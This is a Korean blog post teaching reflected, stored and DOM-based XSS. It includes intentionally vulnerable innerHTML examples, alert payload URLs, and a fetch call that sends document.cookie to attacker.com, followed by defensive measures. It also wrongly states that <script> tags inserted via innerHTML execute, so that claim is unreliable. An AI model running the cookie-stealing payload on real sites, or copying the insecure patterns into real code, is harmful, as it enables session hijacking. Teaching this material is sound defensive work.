XSS

2025. 3. 27. 22:56Computer Sciences/Security

XSS이란?

위키피디아의 설명에 따르면 다음과 같다.

사이트 간 스크립팅, 크로스 사이트 스크립팅(영어: cross-site scripting, XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다

 

대표적인 XSS 공격은 세 가지가 있다.

  1. Reflected XSS
  2. Stored XSS
  3. DOM-based XSS

하나씩 알아보도록 하자.

1. Reflected XSS

Reflected XSS(반사형 XSS)는 공격자가 만든 악성 스크립트가 웹 서버를 통해 반사되어 사용자의 브라우저에서 실행되는 취약점이다. 주로 피해자가 악성 링크를 클릭할 때 발생하며, 즉각적인 영향을 미친다. 시나리오를 통해 알아보자.

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>검색 페이지</title>
</head>
<body>
    <h1>검색 페이지</h1>
    <p id="result"></p>

    <script>
        // URL에서 검색어(query) 값을 가져오는 함수
        function getQueryParam(param) {
            const urlParams = new URLSearchParams(window.location.search);
            return urlParams.get(param);
        }

        // 검색어를 가져와 그대로 화면에 출력 (취약 코드)
        const query = getQueryParam("q");
        if (query) {
            document.getElementById("result").innerHTML = `검색 결과: <b>${query}</b>`;
        }
    </script>
</body>
</html>

 

위 코드는 사용자가 검색어를 입력하면 q 파라미터의 검증없이 innerHTML을 통해 페이지에 삽입한다. 공격자는 이를 활용해 악성 URL을 생성할 수 있다.

https://example.com/search.html?q=<script>alert('XSS 공격!');</script>

위와 같은 링크를 클릭하면 innerHTML을 통해 <script> 태그가 그대로 실행되며 XSS 공격! 이라는 경고창이 뜨게 된다.

더 위험한 공격의 경우 쿠키나 LocalStorage의 값을 탈취할 수도 있다.

<script>
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

위와 같은 스크립트를 q 파라미터로 넣게 되면 세션 하이재킹과 같은 공격에 노출된다. 이러한 문제 때문에 보안 처리되지 않은 쿠키나 LocalStorage 같은 경우 XSS에 취약하다고 하는 것이다.

2. Stored XSS

Stored XSS는 공격자가 악성 스크립트를 서버에 저장하고, 해당 스크립트가 여러 사용자의 브라우저에서 실행되는 보안 취약점이다. 이것은 Reflected XSS보다 더 위험할 수 있으며, 주로 게시판, 댓글, 리뷰 시스템 등에서 발생한다. 이번에도 간단한 시나리오를 통해 알아보자.

어떤 웹사이트에 사용자가 댓글을 작성할 수 있는 기능이 있다고 가정하자. 서버가 댓글을 저장하고, 다음과 같은 방식으로 웹페이지에 출력한다고 해보자.

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>댓글 페이지</title>
</head>
<body>
    <h1>댓글 목록</h1>
    <div id="comments">
        <!-- 서버에서 가져온 댓글 목록이 여기에 표시됨 -->
    </div>

    <script>
        // 서버에서 댓글 목록을 가져온다고 가정
        const comments = [
            "안녕하세요!",
            "<script>alert('XSS 공격!');</script>" // 공격자가 작성한 악성 댓글
        ];

        // 댓글을 그대로 출력 (취약 코드)
        comments.forEach(comment => {
            document.getElementById("comments").innerHTML += `<p>${comment}</p>`;
        });
    </script>
</body>
</html>

공격자가 위와 같은 댓글을 작성하여 서버에 해당 댓글이 저장됐다. 그 이후에 사이트에 접속하는 경우 다른 사용자들이 해당 댓글을 불러올 때 <script> 태그가 실행되어 공격을 당하게 된다.

Reflected XSS는 URL을 클릭해야 당하는 공격이지만, Stored XSS는 페이지 방문만으로 공격을 당하므로 훨씬 위험한 공격이다.

3. DOM-based XSS

DOM-Based XSS는 브라우저에서 실행되는 JavaScript 코드가 사용자 입력을 조작하여 DOM(Document Object Model)을 변경할 때 발생하는 취약점이다.
이 공격은 서버를 거치지 않고 클라이언트 측에서만 발생한다는 점에서 Reflected XSS, Stored XSS와 차이가 있다. 이번에도 시나리오를 통해 살펴보자.

아래와 같이 Javscript를 통해 DOM 요소를 조작하는 페이지가 있다고 하자.

<!DOCTYPE html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>DOM XSS 테스트</title>
</head>
<body>
    <h1>안녕하세요!</h1>
    <p id="msg"></p>

    <script>
        // URL에서 `msg` 파라미터 값을 가져오는 함수
        function getQueryParam(param) {
            const urlParams = new URLSearchParams(window.location.search);
            return urlParams.get(param);
        }

        // 취약 코드: 사용자 입력을 필터링 없이 DOM에 삽입
        const message = getQueryParam("msg");
        if (message) {
            document.getElementById("msg").innerHTML = message;
        }
    </script>
</body>
</html>

 

공격자는 피해자가 아래 URL을 클릭하도록 유도한다.

https://example.com/index.html?msg=<script>alert('XSS 공격!');</script>

피해자가 해당 URL을 열면 msg의 파라미터 값이 그대로 innerHTML에 삽입된다.

그리고 <script> 태그가 실행되어 피해자의 브라우저에서 악성 스크립트가 실행된다.

 

여기서 뭔가 이상한 점을 눈치챈 사람도 있을 것이다. 바로 Reflected XSS와 똑같은 상황이기 때문이다.

그렇다면 둘의 차이점은 무엇일까?

Reflected XSS vs DOM-based XSS

Reflected XSS

  • 서버에서 응답 시 스크립트가 포함돼 있는 공격이다.
  • 사용자의 입력값을 서버가 별도의 처리를 하지 않고 그대로 반영하여 응답할 때 발생하는 취약점이다.
  • 취약점 발생 위치: 서버 측 코드(백엔드)
  • php, jsp 같은 서버 사이드 렌더링 환경에서 발생한다.

DOM-based XSS

  • 클라이언트에서 직접 실행되는 공격이다.
  • 요청이 서버로 전송되는 것이 아니라 브라우저에서 직접 처리되는 취약점이다.
  • 취약점 발생 위치: 클라이언트 측 코드(프론트엔드)
  • 브라우저에서 동적으로 javascript를 활용해 작업할 때 발생한다.

공통점

  • 피해자의 브라우저에서 실행된다

차이점

  • Reflected XSS는 서버에서 반사(별도의 처리 없이 그대로 응답)되는 것
  • DOM-based XSS는 브라우저에서 직접 발생하는 것

XSS 방어

XSS 공격에 대한 방어 방법으로는 대표적으로 다음과 같은 것들이 있다.

  1. innerHTML 대신 textContent 사용 (자동 이스케이프)
  2. HTML 이스케이프 함수 사용 (escapeHTML)
  3. CSP(Content Security Policy) 설정 (script-src 'self' 등)
  4. 입력값 검증 및 필터링 (<, > 등의 문자 제거)

요즘에 많이 사용되는 React, Vue 와 같은 프론트엔드 기술들은 자체적으로 입력값에 대해 이스케이프 처리를 해 준다. 그렇다 하더라도 직접 html 코드를 조작하는 상황(Vue의 경우 v-html)이 생길 경우 XSS 공격에 노출된다. 그러므로 항상 신경을 써야 한다. 특히 서버에서 발생하는 취약점(Reflected XSS, Stored XSS)인 경우에는 반드시 서버에서 방어 작업을 해 주어야 한다.

'Computer Sciences > Security' 카테고리의 다른 글